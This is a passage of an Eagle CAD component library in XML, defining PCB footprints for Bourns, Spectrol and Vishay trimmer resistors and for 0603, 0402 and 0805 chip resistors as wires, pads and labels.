x2=\"-3.1\" y2=\"6.15\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.1\" y1=\"6.15\" x2=\"-2.3\" y2=\"6.15\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"6.15\" x2=\"-2.3\" y2=\"5.7\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"5.7\" x2=\"-1.75\" y2=\"5.7\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"5.7\" x2=\"-1.75\" y2=\"6.15\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.75\" y1=\"6.15\" x2=\"-0.9\" y2=\"6.15\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9\" y1=\"6.15\" x2=\"-0.9\" y2=\"4.95\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"-2.54\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"0\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-3.65\" y=\"-4.9\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"2.69\" y=\"-4.92\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM3059Y\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;\nwaschfest MIL-R-22097</description>\n<wire x1=\"-16.37\" y1=\"2.2\" x2=\"-16.37\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-16.37\" y1=\"-2.2\" x2=\"-6.69\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.81\" y1=\"-2.2\" x2=\"15.36\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.36\" y1=\"-2.2\" x2=\"15.36\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.36\" y1=\"2.2\" x2=\"8.81\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.81\" y1=\"2.2\" x2=\"8.71\" y2=\"2.1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.71\" y1=\"2.1\" x2=\"-6.59\" y2=\"2.1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-6.59\" y1=\"2.1\" x2=\"-6.69\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-6.69\" y1=\"2.2\" x2=\"-16.37\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.46\" y1=\"1.35\" x2=\"16.91\" y2=\"1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.91\" y1=\"1.35\" x2=\"16.91\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.91\" y1=\"0.35\" x2=\"16.41\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.41\" y1=\"0.35\" x2=\"16.41\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.41\" y1=\"-0.35\" x2=\"16.91\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.91\" y1=\"-0.35\" x2=\"16.91\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.91\" y1=\"-1.35\" x2=\"15.46\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.59\" y1=\"-2.1\" x2=\"-6.69\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.71\" y1=\"-2.1\" x2=\"8.81\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.71\" y1=\"-2.1\" x2=\"-6.59\" y2=\"-2.1\" width=\"0.254\" layer=\"21\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"1.27\" drill=\"0.9\"/>\n<pad name=\"2\" x=\"3.81\" y=\"-1.27\" drill=\"0.9\"/>\n<pad name=\"3\" x=\"8.89\" y=\"1.27\" drill=\"0.9\"/>\n<text x=\"-16.32\" y=\"2.7\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.49\" y=\"0\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM70Y\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;\nwaschfest MIL-R-22097</description>\n<wire x1=\"-16.37\" y1=\"2.2\" x2=\"-16.37\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-16.37\" y1=\"-2.2\" x2=\"-6.69\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.81\" y1=\"-2.2\" x2=\"15.36\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.36\" y1=\"-2.2\" x2=\"15.36\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.36\" y1=\"2.2\" x2=\"8.81\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.81\" y1=\"2.2\" x2=\"8.71\" y2=\"2.1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.71\" y1=\"2.1\" x2=\"-6.59\" y2=\"2.1\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-6.59\" y1=\"2.1\" x2=\"-6.69\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-6.69\" y1=\"2.2\" x2=\"-16.37\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"15.46\" y1=\"1.35\" x2=\"16.91\" y2=\"1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.91\" y1=\"1.35\" x2=\"16.91\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.91\" y1=\"0.35\" x2=\"16.41\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.41\" y1=\"0.35\" x2=\"16.41\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.41\" y1=\"-0.35\" x2=\"16.91\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.91\" y1=\"-0.35\" x2=\"16.91\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"16.91\" y1=\"-1.35\" x2=\"15.46\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-6.59\" y1=\"-2.1\" x2=\"-6.69\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.71\" y1=\"-2.1\" x2=\"8.81\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.71\" y1=\"-2.1\" x2=\"-6.59\" y2=\"-2.1\" width=\"0.254\" layer=\"21\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"1.27\" drill=\"0.9\"/>\n<pad name=\"2\" x=\"3.81\" y=\"-1.27\" drill=\"0.9\"/>\n<pad name=\"3\" x=\"8.89\" y=\"1.27\" drill=\"0.9\"/>\n<text x=\"-16.32\" y=\"2.7\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-2.49\" y=\"0\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM3374\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS</description>\n<wire x1=\"-1.9\" y1=\"2.35\" x2=\"1.9\" y2=\"2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.9\" y1=\"2.35\" x2=\"1.9\" y2=\"-2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"1.9\" y1=\"-2.35\" x2=\"0.6\" y2=\"-2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"0.6\" y1=\"-2.35\" x2=\"0.6\" y2=\"-2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"0.6\" y1=\"-2.15\" x2=\"-0.6\" y2=\"-2.15\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.6\" y1=\"-2.15\" x2=\"-0.6\" y2=\"-2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.6\" y1=\"-2.35\" x2=\"-1.9\" y2=\"-2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-1.9\" y1=\"-2.35\" x2=\"-1.9\" y2=\"2.35\" width=\"0.254\" layer=\"51\"/>\n<wire x1=\"-0.25\" y1=\"-2.15\" x2=\"0.25\" y2=\"-2.15\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.9\" y1=\"-1.15\" x2=\"-1.9\" y2=\"2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-1.9\" y1=\"2.35\" x2=\"-1.2\" y2=\"2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.2\" y1=\"2.35\" x2=\"1.9\" y2=\"2.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"1.9\" y1=\"2.35\" x2=\"1.9\" y2=\"-1.15\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"0\" y=\"0\" radius=\"1.65\" width=\"0.1524\" layer=\"51\"/>\n<smd name=\"2\" x=\"0\" y=\"2.1\" dx=\"1.98\" dy=\"2.17\" layer=\"1\"/>\n<smd name=\"1\" x=\"-1.25\" y=\"-2.5\" dx=\"1.5\" dy=\"2.2\" layer=\"1\"/>\n<smd name=\"3\" x=\"1.25\" y=\"-2.5\" dx=\"1.5\" dy=\"2.2\" layer=\"1\"/>\n<text x=\"-2.2\" y=\"-2.5\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"3.55\" y=\"-2.5\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-0.25\" y1=\"-1.3\" x2=\"0.25\" y2=\"1.3\" layer=\"51\"/>\n<rectangle x1=\"-1.3\" y1=\"-0.2\" x2=\"1.3\" y2=\"0.3\" layer=\"51\"/>\n</package>\n<package name=\"RTRIM3299W\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS</description>\n<wire x1=\"-2.78\" y1=\"4.35\" x2=\"3.07\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.07\" y1=\"4.35\" x2=\"3.07\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"3.07\" y1=\"-4.35\" x2=\"-2.78\" y2=\"-4.35\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.78\" y1=\"-4.35\" x2=\"-2.78\" y2=\"4.35\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"-1.23\" y=\"2.75\" radius=\"1.1011\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"1.27\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"1.27\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-3.38\" y=\"-4.5\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.77\" y=\"-4.5\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-1.38\" y1=\"1.7\" x2=\"-1.08\" y2=\"3.8\" layer=\"21\"/>\n</package>\n<package name=\"RTRIM43P\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; Spectrol&lt;p&gt;\nwaschfest MIL-R-22097</description>\n<wire x1=\"-9.2\" y1=\"2.2\" x2=\"-9.2\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-9.2\" y1=\"-2.2\" x2=\"8.1\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"-2.2\" x2=\"8.1\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"2.2\" x2=\"-9.2\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.2\" y1=\"1.35\" x2=\"9.65\" y2=\"1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.65\" y1=\"1.35\" x2=\"9.65\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.65\" y1=\"0.35\" x2=\"9.15\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.15\" y1=\"0.35\" x2=\"9.15\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.15\" y1=\"-0.35\" x2=\"9.65\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.65\" y1=\"-0.35\" x2=\"9.65\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.65\" y1=\"-1.35\" x2=\"8.2\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"1.27\" drill=\"0.9\"/>\n<pad name=\"2\" x=\"0\" y=\"-1.27\" drill=\"0.9\"/>\n<pad name=\"3\" x=\"5.08\" y=\"1.27\" drill=\"0.9\"/>\n<text x=\"-9.15\" y=\"2.7\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-6.3\" y=\"0\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIM3006P\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; BOURNS&lt;p&gt;</description>\n<wire x1=\"-10.6\" y1=\"2.25\" x2=\"-10.6\" y2=\"-2.25\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-10.6\" y1=\"-2.25\" x2=\"8.25\" y2=\"-2.25\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.25\" y1=\"-2.25\" x2=\"8.25\" y2=\"2.25\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.25\" y1=\"2.25\" x2=\"-10.6\" y2=\"2.25\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.35\" y1=\"1.35\" x2=\"9.8\" y2=\"1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.8\" y1=\"1.35\" x2=\"9.8\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.8\" y1=\"0.35\" x2=\"9.3\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"0.35\" x2=\"9.3\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.3\" y1=\"-0.35\" x2=\"9.8\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.8\" y1=\"-0.35\" x2=\"9.8\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.8\" y1=\"-1.35\" x2=\"8.35\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"1.27\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"0\" y=\"-1.27\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"5.08\" y=\"1.27\" drill=\"0.6096\"/>\n<text x=\"-10.7\" y=\"2.7\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-10.05\" y=\"-1.65\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIMT18\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; VISHAY&lt;p&gt;\nabgedichtet nach IP67</description>\n<wire x1=\"-10.75\" y1=\"2.2\" x2=\"-10.75\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-10.75\" y1=\"-2.2\" x2=\"8.1\" y2=\"-2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"-2.2\" x2=\"8.1\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.1\" y1=\"2.2\" x2=\"-10.75\" y2=\"2.2\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"8.2\" y1=\"1.35\" x2=\"9.65\" y2=\"1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.65\" y1=\"1.35\" x2=\"9.65\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.65\" y1=\"0.35\" x2=\"9.15\" y2=\"0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.15\" y1=\"0.35\" x2=\"9.15\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.15\" y1=\"-0.35\" x2=\"9.65\" y2=\"-0.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.65\" y1=\"-0.35\" x2=\"9.65\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"9.65\" y1=\"-1.35\" x2=\"8.2\" y2=\"-1.35\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"1.27\" drill=\"0.9\"/>\n<pad name=\"2\" x=\"0\" y=\"-1.27\" drill=\"0.9\"/>\n<pad name=\"3\" x=\"5.08\" y=\"1.27\" drill=\"0.9\"/>\n<text x=\"-10.7\" y=\"2.7\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-10.2\" y=\"-1.65\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIMT93XA\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; VISHAY&lt;p&gt;\nCermet, abgedichtet nach IP67</description>\n<wire x1=\"2.15\" y1=\"-4.75\" x2=\"2.15\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.15\" y1=\"4.75\" x2=\"-2.55\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.55\" y1=\"4.75\" x2=\"-2.55\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.55\" y1=\"-4.75\" x2=\"2.15\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"4.9\" x2=\"-0.3\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.3\" y1=\"6.05\" x2=\"-1.1\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"6.05\" x2=\"-1.1\" y2=\"5.85\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.1\" y1=\"5.85\" x2=\"-1.5\" y2=\"5.85\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.5\" y1=\"5.85\" x2=\"-1.5\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.5\" y1=\"6.05\" x2=\"-2.3\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.3\" y1=\"6.05\" x2=\"-2.3\" y2=\"4.9\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"0\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"0\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-3.04\" y=\"-4.89\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.01\" y=\"-4.89\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIMT93XB\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; VISHAY&lt;p&gt;\nCermet, abgedichtet nach IP67</description>\n<wire x1=\"2.35\" y1=\"-4.75\" x2=\"2.35\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.35\" y1=\"4.75\" x2=\"-2.35\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.35\" y1=\"4.75\" x2=\"-2.35\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.35\" y1=\"-4.75\" x2=\"2.35\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.1\" y1=\"4.9\" x2=\"-0.1\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.1\" y1=\"6.05\" x2=\"-0.9\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9\" y1=\"6.05\" x2=\"-0.9\" y2=\"5.85\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-0.9\" y1=\"5.85\" x2=\"-1.3\" y2=\"5.85\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.3\" y1=\"5.85\" x2=\"-1.3\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-1.3\" y1=\"6.05\" x2=\"-2.1\" y2=\"6.05\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.1\" y1=\"6.05\" x2=\"-2.1\" y2=\"4.9\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"1.27\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"-1.27\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"1.27\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-2.79\" y=\"-4.89\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.01\" y=\"-4.89\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n</package>\n<package name=\"RTRIMT93YA\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; VISHAY&lt;p&gt;\nCermet, abgedichtet nach IP67</description>\n<wire x1=\"2.15\" y1=\"-4.75\" x2=\"2.15\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.15\" y1=\"4.75\" x2=\"-2.55\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.55\" y1=\"4.75\" x2=\"-2.55\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.55\" y1=\"-4.75\" x2=\"2.15\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-0.75\" y1=\"2.6\" x2=\"-0.3\" y2=\"3.3\" width=\"0.1524\" layer=\"21\" curve=\"-311.390901\"/>\n<wire x1=\"-0.75\" y1=\"2.6\" x2=\"-0.3\" y2=\"3.3\" width=\"0.1524\" layer=\"51\" curve=\"48.609099\"/>\n<pad name=\"1\" x=\"0\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"0\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"0\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-3.04\" y=\"-4.89\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.01\" y=\"-4.89\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-1.45\" y1=\"2.5\" x2=\"-1.15\" y2=\"4.4\" layer=\"21\"/>\n</package>\n<package name=\"RTRIMT93YB\">\n<description>&lt;b&gt;Trimm resistor&lt;/b&gt; VISHAY&lt;p&gt;\nCermet, abgedichtet nach IP67</description>\n<wire x1=\"2.35\" y1=\"-4.75\" x2=\"2.35\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"2.35\" y1=\"4.75\" x2=\"-2.35\" y2=\"4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.35\" y1=\"4.75\" x2=\"-2.35\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<wire x1=\"-2.35\" y1=\"-4.75\" x2=\"2.35\" y2=\"-4.75\" width=\"0.254\" layer=\"21\"/>\n<circle x=\"-1.05\" y=\"3.45\" radius=\"1.0049\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"1.27\" y=\"-2.54\" drill=\"0.6096\"/>\n<pad name=\"2\" x=\"-1.27\" y=\"0\" drill=\"0.6096\"/>\n<pad name=\"3\" x=\"1.27\" y=\"2.54\" drill=\"0.6096\"/>\n<text x=\"-2.79\" y=\"-4.89\" size=\"1.27\" layer=\"25\" rot=\"R90\">&gt;NAME</text>\n<text x=\"4.01\" y=\"-4.89\" size=\"1.27\" layer=\"27\" rot=\"R90\">&gt;VALUE</text>\n<rectangle x1=\"-1.2\" y1=\"2.5\" x2=\"-0.9\" y2=\"4.4\" layer=\"21\"/>\n</package>\n<package name=\"R0603\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.432\" y1=\"-0.356\" x2=\"0.432\" y2=\"-0.356\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.432\" y1=\"0.356\" x2=\"-0.432\" y2=\"0.356\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.983\" x2=\"1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.983\" x2=\"-1.473\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1\" dy=\"1.1\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1\" dy=\"1.1\" layer=\"1\"/>\n<text x=\"-0.889\" y=\"0.889\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.889\" y=\"-2.032\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"0.4318\" y1=\"-0.4318\" x2=\"0.8382\" y2=\"0.4318\" layer=\"51\"/>\n<rectangle x1=\"-0.8382\" y1=\"-0.4318\" x2=\"-0.4318\" y2=\"0.4318\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.4001\" x2=\"0.1999\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"R0402\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.245\" y1=\"0.224\" x2=\"0.245\" y2=\"0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"0.245\" y1=\"-0.224\" x2=\"-0.245\" y2=\"-0.224\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"0.483\" x2=\"1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"-0.483\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.473\" y1=\"-0.483\" x2=\"-1.473\" y2=\"0.483\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.65\" y=\"0\" dx=\"0.7\" dy=\"0.9\" layer=\"1\"/>\n<text x=\"-0.635\" y=\"0.762\" size=\"1.27\" layer=\"25\">&gt;NAME</text>\n<text x=\"-0.635\" y=\"-2.032\" size=\"1.27\" layer=\"27\">&gt;VALUE</text>\n<rectangle x1=\"-0.554\" y1=\"-0.3048\" x2=\"-0.254\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"0.2588\" y1=\"-0.3048\" x2=\"0.5588\" y2=\"0.2951\" layer=\"51\"/>\n<rectangle x1=\"-0.1999\" y1=\"-0.4001\" x2=\"0.1999\" y2=\"0.4001\" layer=\"35\"/>\n</package>\n<package name=\"R0805\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\nchip</description>\n<wire x1=\"-0.41\" y1=\"0.635\" x2=\"0.41\" y2=\"0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-0.41\" y1=\"-0.635\" x2=\"0.41\" y2=\"-0.635\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"0.983\" x2=\"1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"-0.983\" width=\"0.0508\" layer=\"39\"/>\n<wire x1=\"-1.973\" y1=\"-0.983\" x2=\"-1.973\" y2=\"0.983\" width=\"0.0508\" layer=\"39\"/>\n<smd name=\"1\" x=\"-0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<smd name=\"2\" x=\"0.85\" y=\"0\" dx=\"1.3\" dy=\"1.5\" layer=\"1\"/>\n<text 